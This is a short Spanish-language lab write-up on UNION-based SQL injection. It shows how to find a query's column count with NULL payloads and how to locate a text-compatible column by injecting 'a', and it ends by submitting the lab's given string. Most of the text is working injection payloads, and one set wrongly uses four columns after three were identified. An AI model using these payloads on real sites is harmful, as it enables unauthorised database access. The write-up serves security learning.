Laboratorio: ataque UNION de inyección SQL , búsqueda de una columna que contiene texto
En este lab aprenderemos a determinar si una columna acepta un tipo de dato especfico en este caso de tipo `string` o `cadena` con el fin de posterior a ello poder obtener información valiosa de ese.
En este laboratorio lo que intentamos es poder encontrar esa gran columna que será compatible con el tipo de dato cadena inyectando la cadena ‘a’ para ver cual no retorna un error con el fin de encontrarla y poder obtener los datos cadena de esa columna en especifico.
En este caso primero determinaremos cual es el numero de columnas, lo haremos con ayuda de un lab anterior que hicimos:
'+UNION+SELECT+NULL--
'+UNION+SELECT+NULL,NULL--
'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+NULL,NULL,NULL,NULL--
#Esto lo hacemos hasta que ya no nos aparezca un error de server
#y podamos determinar el #columnas.
Identificamos que tenemos un total de 3 columnas, gracias a que el 3 NULL me proporciono la consulta y no un server error.
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
Vamos a intentar ir añadiendo cadena por cadena en cada columna correspondiente que tenemos de la forma:
'+UNION+SELECT+'a',NULL,NULL--
'+UNION+SELECT+NULL,'a',NULL--
'+UNION+SELECT+NULL,NULL,'a'--
#Esto con el fin de determinar que columna es compatible con el tipo de dato cadena.
AJA, Bingo, pudimos obtener que la señora columna 2 es la que es compatible con el tipo de dato cadena porque nos arrojo la misma consulta a diferencia de la primera que nos arrojo un “server error”, ahora bien ya que tenemos a la columna 2 como la compatible con el tipo de dato cadena, intentaremos obtener los datos.
Ahora bien, el sitio web nos ha estado alojando un valor aleatorio de cadena que era: “h2EdfC”, y como solucion proporcionamos esa cadena a la columna compatible con cadenas y enhorabuena resolvimos el laboratorio.